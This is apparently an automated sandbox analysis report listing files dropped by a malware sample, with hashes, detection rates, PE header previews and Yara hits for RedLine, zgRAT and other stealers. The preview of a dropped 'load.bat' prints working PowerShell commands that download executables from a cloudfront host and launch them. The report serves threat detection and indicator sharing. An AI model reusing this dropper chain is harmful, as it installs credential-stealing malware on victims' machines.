Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v...2.@_2.@_2.@_;.._..@_2.A_\{@_y.C^6.@_y.E^*.@_y.M^6.@_y.D^9.@_y.._3.@_y.._3.@_y.B^3.@_Rich2.@_........PE..d....e..........."......`...p......`!.........@.....................................C............... ......................................8...........................P%......H......T...............................@...........P................................text....Z.......`.................. ..`.imrsiv......p...........................rdata..h........0...p..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..H...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\notepad.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\i3.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	360448
Entropy (8bit):	6.546040434156267
Encrypted:	false
SSDEEP:	6144:VxQvZYqJsh5sanj8NNWCx16pcNd5/dkY2djKXYRSlbiU6hWZQ5gfzDVlVXgJ:VxQGqJshmaj8NNWCO27+RSlyyQ5GpX
MD5:	EA5A01D18E1F989725AD8F0D519AABF2
SHA1:	1F4827F4FA67882D6F1CA25F09CE7AA5FED36E5F
SHA-256:	D75EAB46CFDF713DA5093CE7C8C917A6D74B12CDF8F85ED831D798FAACD4ECD7
SHA-512:	3782E20D794C18B454614473EDA9337FD957C596040AEF745ABBDAB8D998575D3F5361E8984D7B85BEC522FD7498DF9BF7B3EEF91278F0B17B3356121441EC0E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................y...................................................Rich...........PE..d...h.xF.........."............................@..........................................`..................................................................p..4...................P...T...............................@..............h...8........................text....}.......................... ..`.rdata..............................@..@.data....&...@.......@..............@....pdata..4....p... ...P..............@..@.didat...............p..............@....rsrc...............................@..@.reloc...............p..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JKJKJJDBKE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	545792
Entropy (8bit):	6.384805269039956
Encrypted:	false
SSDEEP:	6144:yU3iKBTO7hQqRGoFyLmVmH6Q4vwRuGuoBhYkuFqeYAOfp+5ic6/:yU7UVGoFyLmVO6Q6wAGuoBh9Np+M/
MD5:	6C93FC68E2F01C20FB81AF24470B790C
SHA1:	D5927B38A32E30AFCF5A658612A8266476FC4AD8
SHA-256:	64A71B664D76641B35DAC312161CB356B3B3B5F0B45C9D88C8AFA547B4902580
SHA-512:	355E9677121EF17CF8C398F0C17399776D206C62014080A2C62682E1152EA0729DCC6E233358DCD6BAE009B07E3DB936D4B18EB37D6E7EBC2FE9CF8D827C4ADE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c...'i..'i..'i....[.7i....Y..i....X.8i...7..3i...7...i...7...i....9."i..'i..}i...7..%i...7U.&i..'i=.&i...7..&i..Rich'i..................PE..L....v)f..........................................@.......................................@.................................P...(.......@(................... ..l.......p........................... ...@............................................text...1........................... ..`.rdata..............................@..@.data...@ ..........................@....gfids..............................@..@.rsrc...@(.......*..................@..@.reloc..l.... ......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_532c5nlu.m3g.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bfk5gejr.2fo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cj1dvj11.pqr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cxprvxzj.blk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gbxtzasz.wgn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tmun0ml3.erl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5mc5iex.qlw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uvgaof00.yqo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vknroskt.aoa.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w35kok0a.ejt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xk0fbbfd.g0i.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xyq2vdwl.wfc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\hmgv

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	786944
Entropy (8bit):	6.809298494568767
Encrypted:	false
SSDEEP:	12288:wvsXZv8km0OHcbGbvzWHz0Hnquwxe+w0ssFWylkkoAbtEjrwfNqbYS2VbICKMIUO:jfPz0Hynw0ssFlSjT7L
MD5:	5AEBA331CE853D10C82B56ADC96C9E80
SHA1:	A208059F9591712ABF451114815B693AB14A5AB3
SHA-256:	EC51C3B08183CFE851DC93877A6F5B38CA8DD2E5D68E014A2B44C98078ED3434
SHA-512:	5DAACA835F0C9F5691D79CDDE45EF6887EACA6123F65994F8A90A42FF63B35DF6605F673E671004CC8F61B7EE0671ED9F25841A2D9EFEFF5EFC8DA8391CC6676
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\hmgv, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\hmgv, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\hmgv, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......]................................. ........@.. .......................`..............................................T...W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......L....>..........T...@............................................0............. ....X..%-.&sp...sq...}-..... ....Y.~-.....UY.).... .....7...%.....~,.....[Y.)....sr...~-.....TY.)....os.........%.~t.... ....X~t.... ....X~t.... ....X(.....%.~-.....SY.)......~-.....RY.)....~0...%-.&~/.........su...%.0...(...+}.....0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~t.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~t.... ...X..#.......@. ..... ....\

C:\Users\user\AppData\Local\Temp\i1.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	452609
Entropy (8bit):	7.1535610397435505
Encrypted:	false
SSDEEP:	6144:Ovlp7/pMTkjSJX3KkOyhJOF1zL1vMVi0jYZF3Z0DKh8n/QrT:Ovlp7/KQOJnHsLhUKh8n/QrT
MD5:	AE73EB4CBE39E4A9E28A367331329A12
SHA1:	FA827D6B4F9C94DD137FC24B201259A4C8293913
SHA-256:	5F302F2C568CFC3BEF4F7690B84D15DD58CAACE21A60F76D807E909FF8F81E5E
SHA-512:	B8B28158002CDD797CFE9050D93BA7D3122AC9A6E308D60C13027546BCFDE0FA17DF38E980016C6BB91FEC62B2B6A9ACFC55B58A5983E2BEAB248AAC469A9500
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................q.....N.......O......=.........X/K.....u...X/p...Rich..........................PE..L......c............................WD....... ....@..................................r.........................................(....`..yj...........................!..8............................x..@............ ..\|............................text...5........................... ..`.rdata..bl... ...n..................@..@.data................t..............@....rsrc...yj...`...l...h..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i3.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6977619
Entropy (8bit):	7.996378726809738
Encrypted:	true
SSDEEP:	98304:91OtgXBN1VgdzizwHQ2GL/CkhgwS8PMvH2UOaKWZ8oOZ5Fsfero8afu+o:91O2Xf1Vgw0Q2GekhBTUpKiTOZ5Frroe
MD5:	17704F5C7895ADD518E691A997D765FA
SHA1:	89D6768BB55A2E4530E3A68A8C8399073BB493A9
SHA-256:	E2EFF154D7C737572BF347FCB9904D7441ED871B98F914F0A662A2B0526B94BC
SHA-512:	2D711426E144197C7F865983F84AD07A80FE112EA971764E419455F048E472FCED879535824E3131DA19AC1C61077F0D0307FBF2145E8D4049F302C08B7D7BC6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59721128
Entropy (8bit):	7.894297326209827
Encrypted:	false
SSDEEP:	1572864:JLZ1CnPCEBSFRBOf4E/wGfVRMTytvAavLTr:VCnPCbFRBDgzVftvh
MD5:	8E9C467EAC35B35DA1F586014F29C330
SHA1:	0DD19EA3C791BB453AB530CA65CA12A680E67B65
SHA-256:	02FA8D1A57CF9AAB766303A3436E6CC4AE6AAA3348549A6E218437E7D10DC134
SHA-512:	D7FAEF92E675064375B1D1CC13F326FED60673B32FAAED5C33EF5255890A72C031E9C5F1B86D2801774E2E47F9A5CD16C66C54398954F57336B07EEAA0E9E49E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... ;..........."...0.....V.......... ........@.. ..............................Tp....`....................................O.......\|S...............)...`.........8............................................ ............... ..H............text....... ..................... ..`.rsrc...\|S.......T.................@..@.reloc.......`......................@..B.......................H.......\|...........q...d....P...........................................r...psR........~.....o^.........s.........~....~D...%-.&~C.........s....%.D...o.......0..K........r...p}.....(....o....o....o....}#....(.....r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r;..pr...pr...prA..p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p(

C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	59721128
Entropy (8bit):	7.894297326209827
Encrypted:	false
SSDEEP:	1572864:JLZ1CnPCEBSFRBOf4E/wGfVRMTytvAavLTr:VCnPCbFRBDgzVftvh
MD5:	8E9C467EAC35B35DA1F586014F29C330
SHA1:	0DD19EA3C791BB453AB530CA65CA12A680E67B65
SHA-256:	02FA8D1A57CF9AAB766303A3436E6CC4AE6AAA3348549A6E218437E7D10DC134
SHA-512:	D7FAEF92E675064375B1D1CC13F326FED60673B32FAAED5C33EF5255890A72C031E9C5F1B86D2801774E2E47F9A5CD16C66C54398954F57336B07EEAA0E9E49E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... ;..........."...0.....V.......... ........@.. ..............................Tp....`....................................O.......\|S...............)...`.........8............................................ ............... ..H............text....... ..................... ..`.rsrc...\|S.......T.................@..@.reloc.......`......................@..B.......................H.......\|...........q...d....P...........................................r...psR........~.....o^.........s.........~....~D...%-.&~C.........s....%.D...o.......0..K........r...p}.....(....o....o....o....}#....(.....r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r;..pr...pr...prA..p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p( ...&.r...pr...pr...pr...p(

C:\Users\user\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4388
Entropy (8bit):	5.509294590358926
Encrypted:	false
SSDEEP:	96:p2OuBKSqomrkcQM8pZA3oCPiQPiQPiQPSPSPSPBPBPoLNuqfTO:p/YqomrkcQM8pZA3oCPiQPiQPiQPSPS+
MD5:	F21B5C90046147017CB4800750CB2B59
SHA1:	56FB39F638C8B69B14EB5D0A058CBA5DDC7AF1DB
SHA-256:	DD74FBDCC7E28C62D3E7040872B4084E94920220F0F1864C9B4298CFB86A59B1
SHA-512:	F372FA0B7E2E5874FC0CA26527E15C026018B4C3E7C785E14F2A5A2050B4055A4823A17BE826B7FC536E2C979210A262B9DF26B25260718B5211AFC94852F8CC
Malicious:	false
Preview:	[04/26/24 11:06:20] Main : OS Version = osWin10...[04/26/24 11:06:20] CommandLineSwitchExists : Result of check = False. Param Value (if not exact match) = ...[04/26/24 11:06:20] Installer Target URL request = {"IPAddress":"192.168.2.5","Status":1,"Language":"en","OSMinorVersion":0,"OSMajorVersion":10,"ProductId":"5488CB36-BE62-4606-B07B-2EE938868BD1","Is64Bit":true,"ECommId":"11A12794-499E-4FA0-A281-A9A9AA8B2685"}...[04/26/24 11:06:22] Installer target url response = {"Url":"https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe","ProductName":"System Mechanic Standard","Result":0,"ErrorMessage":null}...[04/26/24 11:06:22] DownloadAndLaunchInstaller : Creating BITS download handler...[04/26/24 11:06:22] !&TioloBITSHandler.InitCopyMgr : CreateCOMObject(CLSID_BackgroundCopyManager1_5)..[04/26/24 11:06:27] !&TioloBITSHandler.InitCopyMgr : Copy manager initialized = True...[04/26/24 11:06:27] DownloadAndLaunchInstaller : Target folder ="C:\User

C:\Users\user\AppData\Local\Temp\nsg4683.tmp\INetC.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.391050633650523
Encrypted:	false
SSDEEP:	384:pjj9e9dE95XD+iTx58Y5oMM3O9MEoLr1VcQZ/ZwcSyekMRlZ4L4:dAvE90GuY2tO93oLrJRM7Z4E
MD5:	40D7ECA32B2F4D29DB98715DD45BFAC5
SHA1:	124DF3F617F562E46095776454E1C0C7BB791CC7
SHA-256:	85E03805F90F72257DD41BFDAA186237218BBB0EC410AD3B6576A88EA11DCCB9
SHA-512:	5FD4F516CE23FB7E705E150D5C1C93FC7133694BA495FB73101674A528883A013A34AB258083AA7CE6072973B067A605158316A4C9159C1B4D765761F91C513D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'9<.cXR.cXR.cXR.D.).jXR.cXS.6XR.D. .`XR.D.(.bXR.D...bXR.D.*.bXR.RichcXR.........................PE..L....T.[...........!.....@...j.......E.......P.......................................................................M..l...\F..d.......(.......................\.......................................................d............................text...\>.......@.................. ..`.data...dW...P.......D..............@....rsrc...(............R..............@..@.reloc..\............\..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	697
Entropy (8bit):	5.454355461824193
Encrypted:	false
SSDEEP:	12:/kCX80q1op2NO980q1oEbHuS8YGCiZL+MUAw1o2RCX80q1oJE:MeB2NocbHYRL+MUHoBE
MD5:	C03B3682569C40524152BA0EA7BC25FF
SHA1:	670C137C03ADE8B573E4084C12DCB1D00E377C20
SHA-256:	70E43EDB60C75270E41A167CFC5E6C1B60A0D022B57812560006626C3904353F
SHA-512:	9B0F33CF044BEB3A9F558E8A09F99B263C2B617169FA036876043B5E85A92EB5F0A2ED31ACCAD878486DFDAA144F8B780EA14378AC2E0D3B273CF6100515019A
Malicious:	true
Preview:	@ECHO OFF..cd %TEMP%..powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"..powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"..START i1.exe /SUB=28381000 /str=one..powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"..START i2.bat..cd %TEMP%..powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"..START i3.exe

C:\Users\user\AppData\Local\Temp\towv

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Apr 24 04:56:20 2024, mtime=Fri Apr 26 08:06:15 2024, atime=Wed Apr 24 04:56:20 2024, length=2469936, window=hide
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	5.0000724948697375
Encrypted:	false
SSDEEP:	24:852mCfvdFA8PVcvNeRDHgK0r1zeAibjx21nqygm:8NCtTaNeRDGYtyg
MD5:	BCEB35C3A5AAC83186058114532958F6
SHA1:	2DB844B0D0F1665B81162848A8E351D335329705
SHA-256:	B1E4858C39AC865789B1CE3F4117F49DAD428C7B70BD84089CA7CB14ED69C288
SHA-512:	16DE0E4EDA19F44C6F2BAB88CA9346D97F930782959D42FAD6FFC3A23AB63CE630122B322190154909C489400590857C9A7784BF2ED9A322D8AFB1248A776C71
Malicious:	false
Preview:	L..................F.... ....Z.!....d........Z.!....0.%.......................:..DG..Yr?.D..U..k0.&...&...... M.....t.....ty..........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.X.H....B.....................Bdg.A.p.p.D.a.t.a...B.P.1......X.H..Local.<......DWSl.X.H....V......................<..L.o.c.a.l.....N.1......X.H..Temp..:......DWSl.X.H....\.......................T.e.m.p.....T.1......X.H..u5do.2..>......X.H.X.H.............................u.5.d.o...2.....V.2.0.%..X./ .run.exe.@......X./.X.H..............................r.u.n...e.x.e.......`...............-......._.............Wj.....C:\Users\user\AppData\Local\Temp\u5do.2\run.exe......\.u.5.d.o...2.\.r.u.n...e.x.e.........\|....I.J.H..K..:...`.......X.......648351...........hT..CrF.f4... .@$!@.....,...W..hT..CrF.f4... .@$!@.....,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.........9

C:\Users\user\AppData\Local\Temp\u5do.0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\i1.exe
